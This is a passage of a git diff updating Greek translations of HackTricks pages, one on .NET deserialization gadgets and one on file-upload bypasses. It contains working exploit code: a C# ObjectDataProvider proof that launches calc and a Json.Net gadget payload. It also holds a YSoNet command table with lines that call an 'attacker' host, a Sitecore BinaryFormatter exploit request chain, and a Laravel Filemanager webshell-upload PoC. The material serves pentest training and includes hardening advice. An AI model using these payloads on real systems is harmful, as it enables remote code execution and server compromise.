**PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider. Χρησιμοποιώντας [**dnSpy**](https://github.com/0xd4d/dnSpy) μπορείτε να **επιθεωρήσετε τον κώδικα** της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** ![](<../../images/image (427).png>) -Όπως μπορείτε να παρατηρήσετε, όταν το `MethodName` οριστεί καλείται το `base.Refresh()`, ας ρίξουμε μια ματιά τι κάνει αυτό: +Όπως μπορείτε να παρατηρήσετε όταν οριστεί το `MethodName` καλείται `base.Refresh()`, ας δούμε τι κάνει αυτό: ![](<../../images/image (319).png>) -Εντάξει, συνεχίζουμε να βλέπουμε τι κάνει το `this.BeginQuery()`. Το `BeginQuery` αντικαθίσταται από τον `ObjectDataProvider` και αυτό κάνει: +Εντάξει, ας συνεχίσουμε βλέποντας τι κάνει το `this.BeginQuery()`. Το `BeginQuery` υπερφορτώνεται (overridden) από το `ObjectDataProvider` και αυτό είναι που κάνει: ![](<../../images/image (345).png>) -Σημειώστε ότι στο τέλος του κώδικα καλείται το `this.QueryWorke(null)`. Ας δούμε τι εκτελεί αυτό: +Σημειώστε ότι στο τέλος του κώδικα καλεί `this.QueryWorke(null)`. Ας δούμε τι εκτελεί αυτό: ![](<../../images/image (596).png>) -Σημειώστε ότι αυτός δεν είναι ο πλήρης κώδικας της συνάρτησης `QueryWorker` αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας **καλεί `this.InvokeMethodOnInstance(out ex);`** — αυτή είναι η γραμμή όπου η μέθοδος που έχει οριστεί εκτελείται. +Σημειώστε ότι αυτός δεν είναι ο πλήρης κώδικας της συνάρτησης `QueryWorker` αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας **καλεί `this.InvokeMethodOnInstance(out ex);`** αυτή είναι η γραμμή όπου η **ορισμένη μέθοδος εκτελείται**. -If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code: +Αν θέλετε να ελέγξετε ότι απλώς ορίζοντας το _**MethodName**_ **θα εκτελεστεί**, μπορείτε να τρέξετε αυτόν τον κώδικα: ```java using System.Windows.Data; using System.Diagnostics; @@ -52,16 +52,14 @@ myODP.MethodName = "Start"; } } ``` -Σημειώστε ότι πρέπει να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ προκειμένου να φορτωθεί το `System.Windows.Data` +Σημειώστε ότι χρειάζεται να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ για να φορτώσετε `System.Windows.Data` ## ExpandedWrapper -Χρησιμοποιώντας το προηγούμενο exploit θα υπάρξουν περιπτώσεις όπου το **object** θα **αποσειριοποιηθεί ως** ένα _**ObjectDataProvider**_ instance (για παράδειγμα στην DotNetNuke vuln, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποσειριοποιήθηκε χρησιμοποιώντας `GetType`). Τότε, δεν θα υπάρχει **καμία γνώση του τύπου του αντικειμένου που είναι τυλιγμένο** στην _ObjectDataProvider_ instance (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες σχετικά με την DotNetNuke vuln εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Χρησιμοποιώντας το προηγούμενο exploit θα υπάρξουν περιπτώσεις όπου το **object** θα απο-σειριοποιηθεί ως μια _**ObjectDataProvider**_ instance (για παράδειγμα στο DotNetNuke vuln, χρησιμοποιώντας XmlSerializer, το αντικείμενο απο-σειριοποιήθηκε χρησιμοποιώντας `GetType`). Έτσι, δεν θα υπάρχει **γνώση του τύπου αντικειμένου που είναι περιτυλιγμένο** στην _ObjectDataProvider_ instance (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες για το DotNetNuke vuln εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -Αυτή η κλάση επιτρέπει να **καθορίσετε τους τύπους των αντικειμένων που είναι ενσωματωμένα** σε μια δεδομένη περίπτωση. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να encapsulate ένα source object (_ObjectDataProvider_) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (_ObjectDataProvider.MethodName_ και _ObjectDataProvider.MethodParameters_).\ -Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να **περιτυλίξουμε \_ObjectDataProvider**_** μέσα σε μια **_**ExpandedWrapper** \_ περίπτωση και **όταν αποσειριοποιηθεί** αυτή η κλάση θα **δημιουργήσει** το _**OjectDataProvider**_ αντικείμενο που θα **εκτελέσει** τη **συνάρτηση** που υποδεικνύεται στο _**MethodName**_. - -Μπορείτε να ελέγξετε αυτό το wrapper με τον ακόλουθο κώδικα: +This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\ +Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε παραπάνω, γιατί θα είμαστε σε θέση να **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance και **when deserialized** αυτή η κλάση θα **create** το _**OjectDataProvider**_ αντικείμενο που θα **execute** τη **function** που υποδεικνύεται στο _**MethodName**_. ```java using System.Windows.Data; using System.Diagnostics; @@ -85,11 +83,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start"; ``` ## Json.Net -Στην [επίσημη σελίδα](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Έτσι, αν μπορούσαμε να **deserialize the ObjectDataProvider gadget**, θα μπορούσαμε να προκαλέσουμε **RCE** απλώς deserializing ένα αντικείμενο. +Στην [official web page](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Έτσι, αν μπορούσαμε να **deserialize the ObjectDataProvider gadget**, θα μπορούσαμε να προκαλέσουμε **RCE** απλά με το deserializing ενός αντικειμένου. -### Json.Net example +### Json.Net παράδειγμα -Πρώτα απ' όλα ας δούμε ένα παράδειγμα για το πώς να **serialize/deserialize** ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη: +Πρώτα απ' όλα, ας δούμε ένα παράδειγμα για το πώς να **serialize/deserialize** ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη: ```java using System; using Newtonsoft.Json; @@ -132,7 +130,7 @@ Console.WriteLine(desaccount.Email); } } ``` -### Κατάχρηση του Json.Net +### Κατάχρηση Json.Net Χρησιμοποιώντας [ysoserial.net](https://github.com/pwntester/ysoserial.net) δημιούργησα το exploit: ```java @@ -147,7 +145,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -Σε αυτόν τον κώδικα μπορείτε να **δοκιμάσετε το exploit**, απλά τρέξτε τον και θα δείτε ότι εκτελείται ένα calc: +Σε αυτόν τον κώδικα μπορείτε να **δοκιμάσετε το exploit**, απλώς τρέξτε το και θα δείτε ότι εκτελείται το calc: ```java using System; using System.Text; @@ -184,27 +182,27 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` -## Προχωρημένες .NET Gadget Chains (YSoNet & ysoserial.net) +## Προηγμένες .NET Gadget Chains (YSoNet & ysoserial.net) -Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από ΠΟΛΛΕΣ gadget chains που μπορούν να καταχραστούν όταν μια εφαρμογή εκτελεί **unsafe .NET deserialization**. Σύγχρονα red-team εργαλεία όπως **[YSoNet](https://github.com/irsdl/ysonet)** (και το παλαιότερο [ysoserial.net](https://github.com/pwntester/ysoserial.net)) αυτοματοποιούν τη δημιουργία **έτοιμων προς χρήση κακόβουλων object graphs** για δεκάδες gadgets και μορφές serialization. +Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από ΠΟΛΛΕΣ gadget chains που μπορούν να κακοποιηθούν όταν μια εφαρμογή εκτελεί **unsafe .NET deserialization**. Συσκευές για σύγχρονα red-team όπως **[YSoNet](https://github.com/irsdl/ysonet)** (και το παλαιότερο [ysoserial.net](https://github.com/pwntester/ysoserial.net)) αυτοματοποιούν τη δημιουργία **έτοιμων προς χρήση κακόβουλων object graphs** για δεκάδες gadgets και formats σειριοποίησης. -Παρακάτω υπάρχει μια συμπυκνωμένη αναφορά των πιο χρήσιμων chains που περιλαμβάνονται στο *YSoNet* μαζί με μια γρήγορη εξήγηση του πώς λειτουργούν και παραδείγματα εντολών για τη δημιουργία των payloads. +Παρακάτω υπάρχει μια συμπυκνωμένη αναφορά των πιο χρήσιμων chains που συνοδεύουν το *YSoNet* μαζί με μια σύντομη εξήγηση του πώς λειτουργούν και παραδείγματα εντολών για τη δημιουργία των payloads. | Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner | |--------------|----------------------|--------------------|------------------| -| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | -| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | -| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `` / `` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | -| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | -| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | -| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | +| **TypeConfuseDelegate** | Διαφθείρει την εγγραφή `DelegateSerializationHolder` έτσι ώστε, μόλις υλοποιηθεί, ο delegate να δείχνει σε *οποιαδήποτε* μέθοδο που παρέχει ο επιτιθέμενος (π.χ. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | Κακοποιεί το `System.Workflow.ComponentModel.ActivitySurrogateSelector` για να *παρακάμψει το .NET ≥4.8 type-filtering* και να καλέσει απευθείας τον **constructor** μιας παρεχόμενης κλάσης ή να **μεταγλωττίσει** ένα αρχείο C# επί τόπου | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | Επωφελείται από την **παλιά XML** αναπαράσταση του `System.Data.DataSet` για να δημιουργήσει αυθαίρετους τύπους γεμίζοντας τα πεδία `` / `` (προαιρετικά πλαστογραφώντας το assembly με `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | Σε runtime με WPF ενεργοποιημένο (> .NET 5) αλυσιδώνει getters ιδιοτήτων μέχρι να φτάσει σε `System.CodeDom.Compiler.CompilerResults`, και στη συνέχεια *μεταγλωττίζει* ή *φορτώνει* μια DLL που παρέχεται με `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (review) | Χρησιμοποιεί το WPF `System.Windows.Data.ObjectDataProvider` για να καλέσει μια αυθαίρετη static μέθοδο με ελεγχόμενα ορίσματα. Το YSoNet προσθέτει μια βολική παραλλαγή `--xamlurl` για να φιλοξενήσει το κακόβουλο XAML απομακρυσμένα | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | Ενσωματώνει `ScriptBlock` μέσα σε `System.Management.Automation.PSObject` που εκτελείται όταν το PowerShell αποσειριοποιεί το αντικείμενο | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] -> Όλα τα payloads **γράφονται στο *stdout*** από προεπιλογή, κάνοντας εύκολο να τα δρομολογήσετε (pipe) σε άλλα εργαλεία (π.χ. ViewState generators, base64 encoders, HTTP clients). +> Όλα τα payloads **γράφονται στο *stdout*** εξ ορισμού, καθιστώντας εύκολο το piping τους σε άλλα εργαλεία (π.χ. ViewState generators, base64 encoders, HTTP clients). -### Building / Installing YSoNet +### Κατασκευή / Εγκατάσταση YSoNet -Εάν δεν υπάρχουν προκατασκευασμένα binaries στο *Actions ➜ Artifacts* / *Releases*, η ακόλουθη **PowerShell** one-liner θα ρυθμίσει ένα περιβάλλον build, θα κλωνοποιήσει το repository και θα μεταγλωττίσει τα πάντα σε *Release* mode: +Εάν δεν υπάρχουν προ-συγκροτημένα binaries στο *Actions ➜ Artifacts* / *Releases*, η παρακάτω **PowerShell** εντολή μιας γραμμής θα ρυθμίσει ένα περιβάλλον build, θα κλωνοποιήσει το repository και θα μεταγλωττίσει τα πάντα σε λειτουργία *Release*: ```powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; @@ -218,20 +216,20 @@ msbuild ysonet.sln -p:Configuration=Release ``` Το μεταγλωττισμένο `ysonet.exe` μπορεί στη συνέχεια να βρεθεί στο `ysonet/bin/Release/`. -### Ανίχνευση & Σκληραγώγηση -* **Εντοπίστε** απροσδόκητες child processes του `w3wp.exe`, `PowerShell.exe`, ή οποιασδήποτε διεργασίας deserialising δεδομένα που παρέχονται από χρήστη (π.χ. `MessagePack`, `Json.NET`). -* Ενεργοποιήστε και **επιβάλλετε type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) όποτε ο legacy `BinaryFormatter` / `NetDataContractSerializer` δεν μπορεί να αφαιρεθεί. -* Όπου είναι δυνατό, μεταβείτε σε **`System.Text.Json`** ή **`DataContractJsonSerializer`** με converters βασισμένους σε whitelist. -* Μπλοκάρετε τη φόρτωση επικίνδυνων WPF assemblies (`PresentationFramework`, `System.Workflow.*`) σε web processes που δεν θα έπρεπε ποτέ να τα χρειάζονται. +### Ανίχνευση & Σκληροποίηση +* **Εντοπίστε** μη αναμενόμενες παιδικές διεργασίες του `w3wp.exe`, `PowerShell.exe`, ή οποιασδήποτε διεργασίας πραγματοποιεί αποσειριοποίηση δεδομένων παρεχόμενων από τον χρήστη (π.χ. `MessagePack`, `Json.NET`). +* Ενεργοποιήστε και **επιβάλλετε φιλτράρισμα τύπων** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) όποτε ο legacy `BinaryFormatter` / `NetDataContractSerializer` δεν μπορεί να αφαιρεθεί. +* Όπου είναι δυνατόν μεταβείτε σε **`System.Text.Json`** ή **`DataContractJsonSerializer`** με converters βασισμένους σε whitelist. +* Αποκλείστε τη φόρτωση επικίνδυνων WPF assemblies (`PresentationFramework`, `System.Workflow.*`) σε web processes που δεν θα έπρεπε ποτέ να τα χρειάζονται. ## Πραγματικός sink: Sitecore convertToRuntimeHtml → BinaryFormatter -Ένας πρακτικός .NET sink προσβάσιμος σε authenticated Sitecore XP Content Editor ροές: +Ένας πρακτικός .NET sink προσβάσιμος σε αυθεντικοποιημένες ροές του Sitecore XP Content Editor: -- Sink API: `Sitecore.Convert.Base64ToObject(string)` καλεί `new BinaryFormatter().Deserialize(...)`. -- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, το οποίο αναζητά ένα sibling element με `id="{iframeId}_inner"` και διαβάζει ένα `value` attribute που θεωρείται ως base64‑encoded serialized data. Το αποτέλεσμα γίνεται cast σε string και εισάγεται στο HTML. +- Sink API: `Sitecore.Convert.Base64ToObject(string)` τυλίγει `new BinaryFormatter().Deserialize(...)`. +- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, το οποίο αναζητά ένα αδελφό στοιχείο με `id="{iframeId}_inner"` και διαβάζει ένα attribute `value` που αντιμετωπίζεται ως base64‑encoded σειριοποιημένα δεδομένα. Το αποτέλεσμα μεταγλωττίζεται σε string και εισάγεται στο HTML. -Minimal end‑to‑end (authenticated): +Ελάχιστο end‑to‑end (αυθεντικοποιημένο): ``` // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx @@ -246,9 +244,9 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` -- Gadget: οποιαδήποτε BinaryFormatter αλυσίδα που επιστρέφει ένα string (οι παρενέργειες εκτελούνται κατά τη deserialization). Δείτε YSoNet/ysoserial.net για να δημιουργήσετε payloads. +- Gadget: οποιαδήποτε BinaryFormatter chain που επιστρέφει ένα string (side‑effects τρέχουν κατά τη deserialization). Δείτε YSoNet/ysoserial.net για να δημιουργήσετε payloads. -Για μια πλήρη αλυσίδα που ξεκινά pre‑auth με HTML cache poisoning σε Sitecore και οδηγεί σε αυτό το sink: +Για μια πλήρη αλυσίδα που ξεκινά pre‑auth με HTML cache poisoning στο Sitecore και οδηγεί σε αυτό το sink: {{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index f1ae8eadd..103543b27 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,13 +1,13 @@ -# Αποστολή αρχείων +# Μεταφόρτωση Αρχείων {{#include ../../banners/hacktricks-training.md}} -## Γενική Μεθοδολογία για Αποστολή Αρχείων +## Γενική Μεθοδολογία Μεταφόρτωσης Αρχείων Άλλες χρήσιμες επεκτάσεις: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ +- **Εργασία σε PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, .module_, .inc_, .hphp_, .ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -15,13 +15,13 @@ - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Παράκαμψη ελέγχων καταλήξεων αρχείων +### Παράκαμψη ελέγχων επεκτάσεων αρχείων -1. Αν ισχύουν, **ελέγξτε** τις **παραπάνω επεκτάσεις.** Δοκιμάστε επίσης με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._ -2. _Ελέγξτε **το να προσθέσετε μια έγκυρη επέκταση πριν** από την επέκταση εκτέλεσης (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_ +1. Εάν ισχύουν, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε τις επίσης χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._ +2. _Ελέγξτε **προσθήκη έγκυρης επέκτασης πριν** την επέκταση εκτέλεσης (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_ - _file.png.php_ - _file.png.Php5_ -3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημείωση: μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερόμενες **επεκτάσεις**_) +3. Προσπαθήστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους χαρακτήρες **ascii** και **Unicode**. (_Σημείωση: μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερθείσες **επεκτάσεις**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ - _file._ - _file.php...._ - _file.pHp5...._ -4. Προσπαθήστε να παρακάμψετε τις προστασίες **ξεγελώντας τον parser των επεκτάσεων** στην πλευρά του server με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη junk δεδομένων** (**null** bytes) μεταξύ επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να φτιάξετε καλύτερο payload._ +4. Προσπαθήστε να παρακάμψετε τις προστασίες **ξεγελώντας τον parser επεκτάσεων** στην πλευρά του server με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη σκουπιδιών** (bytes **null**) ανάμεσα στις επεκτάσεις. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε καλύτερο payload._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Προσθέστε **άλλο ένα επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο: +5. Προσθέστε **ένα ακόμη επίπεδο επεκτάσεων** στο προηγούμενο έλεγχο: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Προσπαθήστε να βάλετε την **επέκταση εκτέλεσης πριν από την έγκυρη επέκταση** και ελπίζετε ότι ο server είναι λανθασμένα ρυθμισμένος. (χρήσιμο για εκμετάλλευση λανθασμένων ρυθμίσεων Apache όπου οτιδήποτε με επέκταση **.php**, αλλά όχι απαραίτητα καταλήγοντας σε .php, θα εκτελέσει κώδικα): +6. Δοκιμάστε να τοποθετήσετε την **επέκταση εκτέλεσης πριν την έγκυρη επέκταση** και ελπίζετε ότι ο διακομιστής είναι λανθασμένα διαμορφωμένος. (χρήσιμο για εκμετάλλευση λανθασμένων ρυθμίσεων Apache όπου οτιδήποτε με επέκταση .php — αλλά όχι απαραίτητα τελειώνοντας σε .php — θα εκτελεί κώδικα): - _ex: file.php.png_ -7. Χρήση των **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg"). Αυτό το αρχείο μπορεί να τροποποιηθεί αργότερα με άλλες τεχνικές όπως η χρήση του short filename. Το μοτίβο "**::$data**" μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη-κενά αρχεία. Επομένως, η προσθήκη μιας τελείας μετά από αυτό το μοτίβο μπορεί επίσης να βοηθήσει στην παράκαμψη περαιτέρω περιορισμών (π.χ. "file.asp::$data.") -8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP παραμένει. AAA<--SNIP-->AAA.php +7. Χρήση **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, θα εισαχθεί χαρακτήρας ":" μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, θα δημιουργηθεί ένα **κενό αρχείο με την απαγορευμένη επέκταση** στον server (π.χ. "file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα με άλλες τεχνικές όπως η χρήση του short filename. Το "**::$data**” pattern μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το pattern μπορεί επίσης να είναι χρήσιμη για παράκαμψη περαιτέρω περιορισμών (π.χ. "file.asp::$data.”) +8. Προσπαθήστε να σπάσετε τα όρια μήκους ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -Κάποιοι upload handlers αφαιρούν ή κανονικοποιούν τους τελείες (trailing dot) από το αποθηκευμένο όνομα αρχείου. Στην UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) εκδόσεις πριν την 2.9.1, μπορείτε να παρακάμψετε τον έλεγχο επεκτάσεων κάνοντας: +Κάποιοι handlers ανέβασματος περικόπτουν ή κανονικοποιούν τους τελικούς χαρακτήρες τελείας από το αποθηκευμένο όνομα αρχείου. Στο UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) σε εκδόσεις πριν την 2.9.1, μπορείτε να παρακάμψετε την επικύρωση επεκτάσεων με: -- Χρησιμοποιώντας ένα έγκυρο image MIME και magic header (π.χ., PNG’s `\x89PNG\r\n\x1a\n`). -- Ονομάζοντας το ανέβασμα αρχείο με επέκταση PHP ακολουθούμενη από τελεία, π.χ., `shell.php.` -- Ο server αφαιρεί την trailing dot και αποθηκεύει `shell.php`, το οποίο θα εκτελεστεί αν τοποθετηθεί σε ένα web-served directory (default public storage like `/storage/files/`). +- Χρήση έγκυρου image MIME και magic header (π.χ. PNG’s `\x89PNG\r\n\x1a\n`). +- Ονομάζοντας το ανεβασμένο αρχείο με επέκταση PHP ακολουθούμενη από τελεία, π.χ. `shell.php.`. +- Ο server αφαιρεί την τελική τελεία και αποθηκεύει το `shell.php`, το οποίο θα εκτελεστεί αν τοποθετηθεί σε φάκελο που σερβίρεται από τον web server (προεπιλεγμένος public storage όπως `/storage/files/`). Ελάχιστο PoC (Burp Repeater): ```http @@ -80,51 +80,51 @@ Content-Type: image/png \x89PNG\r\n\x1a\n ------WebKitFormBoundary-- ``` -Έπειτα, επισκεφθείτε την αποθηκευμένη διαδρομή (τυπικό σε Laravel + LFM): +Στη συνέχεια προσπελάστε το αποθηκευμένο μονοπάτι (τυπικό σε Laravel + LFM): ``` GET /storage/files/0xdf.php?cmd=id ``` -Μέτρα αντιμετώπισης: -- Αναβαθμίστε unisharp/laravel-filemanager σε ≥ 2.9.1. -- Επιβάλτε αυστηρές server-side allowlists και επαληθεύστε ξανά το persisted filename. -- Εξυπηρετήστε τα uploads από μη-εκτελέσιμες τοποθεσίες. +Mitigations: +- Αναβαθμίστε το unisharp/laravel-filemanager σε ≥ 2.9.1. +- Εφαρμόστε αυστηρές server-side allowlists και επικυρώστε ξανά το persisted filename. +- Σερβίρετε τα uploads από μη-εκτελέσιμες τοποθεσίες. -### Παρακάμψτε Content-Type, Magic Number, Compression & Resizing +### Παράκαμψη Content-Type, Magic Number, Compression & Resizing -- Παρακάμψτε τους ελέγχους του **Content-Type** ρυθμίζοντας την **τιμή** της **επικεφαλίδας** **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_ +- Παρακάμψτε τους ελέγχους **Content-Type** ορίζοντας την **τιμή** της **επικεφαλίδας** **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Παρακάμψτε τον έλεγχο του **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes of a 